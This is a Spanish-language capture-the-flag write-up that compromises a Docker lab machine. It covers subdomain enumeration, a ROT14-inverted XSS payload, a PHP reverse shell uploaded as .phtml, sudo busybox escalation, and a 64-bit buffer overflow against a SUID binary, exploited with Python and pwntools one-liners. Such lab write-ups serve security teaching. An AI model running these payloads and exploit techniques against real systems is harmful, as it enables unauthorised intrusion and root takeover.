Este laboratorio está catalogado con la dificultad "Medio" y su autor es "maciiii___".

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Reconocimiento inicial

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 172.17.0.2
None

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
None

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

nmap -sCV -p 80 -n -Pn 172.17.0.2 -oN services
None

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (www-data)

En este caso se detecta que hay un puerto abierto:

  • Puerto 80 (servicio HTTP, Apache )

Además, gracias a la detección del servicio, se detecta que el sistema subyacente es Debian.

Tras investigar el puerto 80, se puede comprobar que muestra la página por defecto de Apache, con la ruta por defecto ligeramente diferente a lo convencional.

URL -> http://172.17.0.2

Ruta raíz web: /var/www/5eEk3r
None

Tras continuar enumerar el servicio y no encontrar nada relevante, se prueba a asignar este nuevo nombre como posible dominio del sitio, añadiendo como TLD la ya vista en otros laboratorios: ".dl"

Para hacer que resuelva este dominio, es necesario añadir dicho dominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.

sudo mousepad /etc/hosts
172.17.0.2 5eEk3r.dl (añadir esta linea y guardar los cambios)

Al intentar resolverlo con el dominio, se puede comprobar que muestra exactamente la misma página, y tampoco se encuentra nada nuevo. Por ello, tras tratar de enumerar subdominios, se detecta uno nuevo.

gobuster vhost -u http://5eEk3r.dl -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -r
None

Para hacer que resuelva este subdominio, es necesario añadir dicho subdominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.

sudo mousepad /etc/hosts
172.17.0.2 5eEk3r.dl crosswords.5eEk3r.dl (modificar esta linea y guardar los cambios)

Al intentar resolverlo con el dominio, se puede comprobar que muestra una nueva página que parece contener una funcionalidad para codificar cadenas de caracteres en ROT 14.

URL -> http://crosswords.5eEk3r.dl
None

Al revisar su código fuente, se puede apreciar una nota a modo de comentario HTML donde indican que el desarrollador mencionó algo relativo a XSS y que no saben a que se refiere.

CTRL+U (revisar código fuente)
URL -> view-source:http://crosswords.5eEk3r.dl/

...
<! -- Al que contratamos para crear la web nos habló de algo llamado 'xss'... que será? -->
None

Esto significa que si existe alguna forma de introducir contenido arbitrario en la página, quizás se pueda probar la existencia de esta vulnerabilidad.

Tras probar el codificador y revisar los recursos disponibles, se detecta un archivo el cual es el encargado de almacenar y mostrar en la página las codificaciones realizadas a ROT 14.

gobuster dir -u http://crosswords.5eek3r.dl -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt,zip
None

En este caso, se muestra la codificación realizada para la siguiente carga útil:

Carga útil utilizada: <script>alert(1);</script>

Es posible acceder a este archivo (o desde la propia web) para ver cual es la codificación realizada para esta carga útil.

URL -> http://crosswords.5eEk3r.dl/converts.txt

<gqfwdh>ozsfh(1);</gqfwdh>
None

Para probar que la vulnerabilidad XSS existe, en este caso lo que se quiere obtener es que en la web termine la carga útil esperada. Para ello, será necesario generar una carga útil que, una vez pasada por el codificador, este convierta, almacene y muestre la carga útil original.

# Conversión a ROT 14 realizada por la funcionalidad
echo "<script>alert(1);</script>" | tr 'A-Za-z' 'O-ZA-No-za-n'                                                             
<gqfwdh>ozsfh(1);</gqfwdh>

# Conversión inversa a la de ROT 14
echo "<script>alert(1);</script>" | tr 'A-Za-z' 'M-ZA-Lm-za-l'
<eodubf>mxqdf(1);</eodubf>

Carga útil para probar la vulnerabilidad: <eodubf>mxqdf(1);</eodubf>
None

Al ingresar este texto en el codificador y pulsar en "Enviar Texto", se puede comprobar que se muestra un alert confirmando que esta funcionalidad presenta la vulnerabilidad secuencias de comandos entre sitios (Cross-Site Scripting, XSS).

URL -> http://crosswords.5eEk3r.dl
Ingresa tu texto: <eodubf>mxqdf(1);</eodubf>
None

Además, se puede comprobar que la carga útil ejecutada tal y como se esperaba se almacena en el archivo "converts.txt".

URL -> http://crosswords.5eEk3r.dl/converts.txt

<gqfwdh>ozsfh(1);</gqfwdh>
...
<script>alert(1);</script>
None

Una vez visto y comprobado, se continua enumerando el sitio. Al no encontrarse nada más, se decide continuar enumerando subdominios y se detecta uno nuevo.

gobuster vhost -u http://crosswords.5eEk3r.dl -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -r
None

Para hacer que resuelva este subdominio, es necesario añadir dicho subdominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.

sudo mousepad /etc/hosts
172.17.0.2 5eEk3r.dl crosswords.5eEk3r.dl admin.crosswords.5eEk3r.dl (modificar esta linea y guardar los cambios)

Al intentar resolverlo con el dominio, se puede comprobar que muestra lo que parece ser el panel para administrar los recursos del sitio anterior (codificador ROT 14).

URL -> http://admin.crosswords.5eEk3r.dl
None

Como dispone de una funcionalidad para subir archivos y la herramienta parece estar escrita en PHP, probablemente se pueda subir una consola inversa escrita en PHP para ganar acceso al sistema.

Por ello, lo primero se establece un puerto a la escucha.

nc -nvlp 1337 (sin rlwrap, para evitar problemas posteriormente con la escalada de privilegios)
None

A continuación, se crea una consola inversa escrita en PHP (Pentest Monkey).

mousepad shell.php (pegar y guardar)
head shell.php
None

Como siguiente paso, se sube este archivo a través de la funcionalidad para gestionar archivos en el panel. Sin embargo, al intentarlo este devuelve un error, indicando que no permite archivos PHP, solo HTML.

URL -> http://admin.crosswords.5eEk3r.dl

Error: No se permiten archivos PHP, solo HTML.
None

Para saltar esta restricción, se procede a realizar fuzzing de extensiones para ver si es posible subir este archivo con una extensión que pueda utilizarse para interpretar código PHP. Para ello, se captura la petición de subida de archivos con Burp Suite y se manda al módulo Intruder.

None

A continuación, se selecciona la extensión como carga útil.

None

Luego, se selecciona la wordlist para realizar fuzzing.

None

Una vez pulsando en "Start Attack" y esperando un poco, se puede comprobar que con una extensión en particular se acepta (y se sube) el archivo proporcionado en la funcionalidad.

None

El nombre del archivo con la extensión aceptada en este caso es "shell.phtml", la cual interpreta código PHP, confirmando la vulnerabilidad a subida arbitraria de archivos (Unrestricted File Upload).

None

Es posible acceder a este desde el subdominio anterior para ejecutar la consola inversa subida, ya que es un recurso que pertenece a la página del codificador.

URL -> http://crosswords.5eEk3r.dl/shell.phtml
None

De esta forma, se obtiene acceso al sistema a través del puerto a la escucha previamente establecido, en este caso como el usuario "www-data".

whoami
id
hostname
None

Para terminar con el acceso inicial, se actualiza la consola a una TTY.

(asegurarse de haber capturado la consola inversa sin usar rlwrap para evitar tener problemas con la escalada de privilegios)
script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

Escalada de privilegios (www-data -> astu)

Al listar los privilegios SUDO, se puede comprobar que el usuario "www-data" puede ejecutar el binario "/usr/bin/busybox" como el usuario "astu" y grupo "astu" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (astu : astu) NOPASSWD: /usr/bin/busybox
sudo -l
None

Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.github.io/gtfobins/busybox/#sudo
None

En este caso, es posible abrir una consola interactiva como el usuario "astu" directamente.

sudo -u astu /usr/bin/busybox sh
whoami
id
hostname
/bin/bash
None

Escalada de privilegios (astu -> root)

Al revisar el contenido del directorio principal del usuario "astu" se detecta un binario con el bit SUID habilitado dentro del directorio "secure". Este binario parece funcionar de la misma forma que el comando "base64", pero solicitándolo previamente mediante una entrada de texto libre.

cd ~
ls -al
ls -al secure
None

Al revisar el contenido de este binario con la herramienta "strings" se puede apreciar un par de detalles relevantes:

  • La arquitectura del binario es de 64 bits.
  • En algún punto, el binario ejecuta una consola Sh utilizando "setuid".

Teniendo en cuenta que tiene el bit SUID habilitado y su propietario es "root", si se consigue ejecutar esta consola es posible escalar privilegios.

None

Para ello, primero se va a comprobar si este binario presenta una vulnerabilidad de desbordamiento de búfer (Buffer Overflow, BOF). Se genera un patrón lo suficientemente extenso como para comprobar si el programa es capaz de gestionarlo.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
None

Al facilitar a la herramienta este patrón, esta devuelve un error "Segmentation fault", confirmando la presencia de la vulnerabilidad.

secure/bs64
Ingrese el texto: <PEGAR PATRÓN Y ENTER>

Segmentation fault
None

Además, se detecta que en el sistema objetivo se encuentra instalada la herramienta "gdb" por lo que no es necesario transferir el binario al sistema local para hacer pruebas (aunque es recomendable hacerlo).

gdb --help
None

Con esta herramienta se va a detectar la dirección asociada a la próxima instrucción a ejecutar para posteriormente intentar sobrescribir esta. En binarios de arquitectura 64 bits se le conoce como Register Instruction Pointer o RIP.

Para ello, se va abrir el binario con "gdb" y se le va a mandar la cadena de caracteres probada anteriormente.

gdb secure/bs64
(gdb) run
<PEGAR PATRÓN Y ENTER>

Segmentation fault
None

Tras revisar los registros se puede comprobar cual es la dirección RIP asociada.

(gdb) info registers rip
None

Sin embargo, a la hora de comprobar el offset (distancia en bytes desde el inicio del búfer hasta la dirección RIP que se intenta sobrescribir), este parece indicar que no corresponde a ninguna sección del patrón, por lo que de momento, no se conoce la posición exacta. Esto se debe a que no haya podido sobrescribirse por distintos motivos.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x4013d8
[*] No exact matches, looking for likely candidates...
None

Por ello, se van ajustando los patrones generados para ir detectando diferencias en las respuestas generadas por "gdb" e identificar así el patrón de forma manual (no es la forma más limpia de hacerlo, pero es como me ha funcionado). En este caso se puede apreciar que el offset esperado está entre 70 y 80 bytes.

(generar patrón de longitud 70)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 70

(volver a ejecutar el binario con gdb)
r
Ingrese el texto: <PATRÓN LONGITUD 70 Y ENTER>

[Inferior 1 (process 485) exited normally] -> (terminación del porceso correcta)


(generar patrón de longitud 80)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 80

(volver a ejecutar el binario con gdb)
r
Ingrese el texto: <PATRÓN LONGITUD 80 Y ENTER>

Program received signal SIGSEGV, Segmentation fault. -> (error debido a desbordamiento de búfer)
0x00000000004013d8 in main ()
None

Tras seguir probando se detecta una llamada al comprobar una longitud de 72 bytes, confirmando que este es el offset buscado.

(generar patrón de longitud 72)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 72

(volver a ejecutar el binario con gdb)
r
Ingrese el texto: <PATRÓN LONGITUD 72 Y ENTER>

Program received signal SIGSEGV, Segmentation fault. -> (error debido a desbordamiento de búfer)
0x00007fef44769200 in __libc_start_call_main (main=main@entry=0x40139e <main>,
None

Para confirmar que se ha dado con el offset correcto, se añaden 6 caracteres similares a continuación del patrón facilitado para ver que efectivamente sobrescriben los bytes menos significativos de la dirección RIP.

Esto es porque, a pesar de que las direcciones RIP son de 8 bytes de longitud, los 6 bytes menos significativos son los que definen las direcciones virtuales mientras que los 2 bytes más significativos son los que siguen la regla de definición de signo. Por esto, sólo se seben utilizar esos 6 bytes para definir direcciones, ya que los restantes no aceptarán contenido arbitrario.

(volver a ejecutar el binario con gdb)
r
Ingrese el texto: <PATRÓN LONGITUD 72 + cadena "PPPPPP" Y ENTER>

Program received signal SIGSEGV, Segmentation fault. -> (error debido a desbordamiento de búfer)
0x0000505050505050 in ?? ()
None

Tras revisar los registros se puede comprobar que la dirección RIP ha sido sobrescrita correctamente.

(gdb) info registers rip
None

Como es posible sobrescribir la dirección RIP, se puede modificar el flujo del programa para que ejecute otras instrucciones, en este caso, poder acceder a la funcionalidad escondida en este binario para abrir una consola Sh.

Para ello, primero se debe detectar en que función del binario está utilizando la asignación SUID, ya que es posible que en este es donde además se abra esta consola Sh.

exit (salir de gdb)
objdump -d secure/bs64 | grep -i setuid
None

Se detecta que la llamada a "setuid" se realiza en la dirección 401387, por lo que, se puede buscar manualmente la dirección a la función correspondiente para poder indicar a donde apuntar. En este caso, la función que utiliza la asignación SUID es "fire" y su dirección es 40136a.

objdump -d secure/bs64

...
000000000040136a <fire>:
...
None

En este punto, se crea un oneliner en Python para poder explotar este BOF, haciendo la llamada a esta función directamente. Sin embargo, al probar parece que sigue dando el error, sin obtener acceso a ninguna consola con privilegios elevados.

python3 -c "import sys; sys.stdout.buffer.write(b'P'*72 + b'\x6a\x13\x40\x00\x00\x00\x00\x00')" | secure/bs64
None

Esto se debe a que en la dirección especificada la función aún esta realizando operaciones para preparar la pila. No obstante, al probar con la dirección de la siguiente instrucción parece que efectivamente consigue llamar a la consola, aunque esta no termina materializándose por alguna razón.

python3 -c "import sys; sys.stdout.buffer.write(b'P'*72 + b'\x6b\x13\x40\x00\x00\x00\x00\x00')" | secure/bs64
None

Dado que se consigue explotar, pero falta conseguir el acceso como "root", se prueba a reescribir el oneliner para hacer la explotación del BOF interactiva, usando la librería "pwn" (tiene sentido, ya que de alguna forma se tiene que poder interactuar con la consola). En este punto es posible realizar la explotación correctamente y obtener acceso al contexto del usuario "root".

python3 -c "import pwn;exploit=pwn.process('secure/bs64');exploit.sendline(b'P'*72 + b'\x6b\x13\x40\x00\x00\x00\x00\x00');exploit.interactive()"
None

En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

Mitigaciones a aplicar

  • Evitar exponer información sensible a través de servicios web ya que pueden ser accedidos por cualquiera.
  • Para prevenir la vulnerabilidad cross-site scripting o XSS es necesario asegurarse de que cualquier texto ofrecido por el usuario se muestre como contenido literal y no como código ejecutable, mediante técnicas como la codificación de caracteres especiales, la sanitización de entrada y el uso de políticas de seguridad como Content Security Policy (CSP).
  • Para evitar la vulnerabilidad unrestricted file upload, validando estrictamente el tipo, tamaño y contenido del archivo, restringiendo las extensiones permitidas, y nunca guardando los archivos en una ruta directamente accesible del servidor pueden ser opciones para mitigarla.
  • Para prevenir la vulnerabilidad buffer overflow es asegurarse de que cualquier entrada del usuario se copie o procese dentro de límites seguros, utilizando funciones que respeten el tamaño del búfer y aplicando técnicas como la verificación de longitud, el uso de compiladores con protecciones activadas, y la implementación de mecanismos como Stack Canaries y ASLR.
  • Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com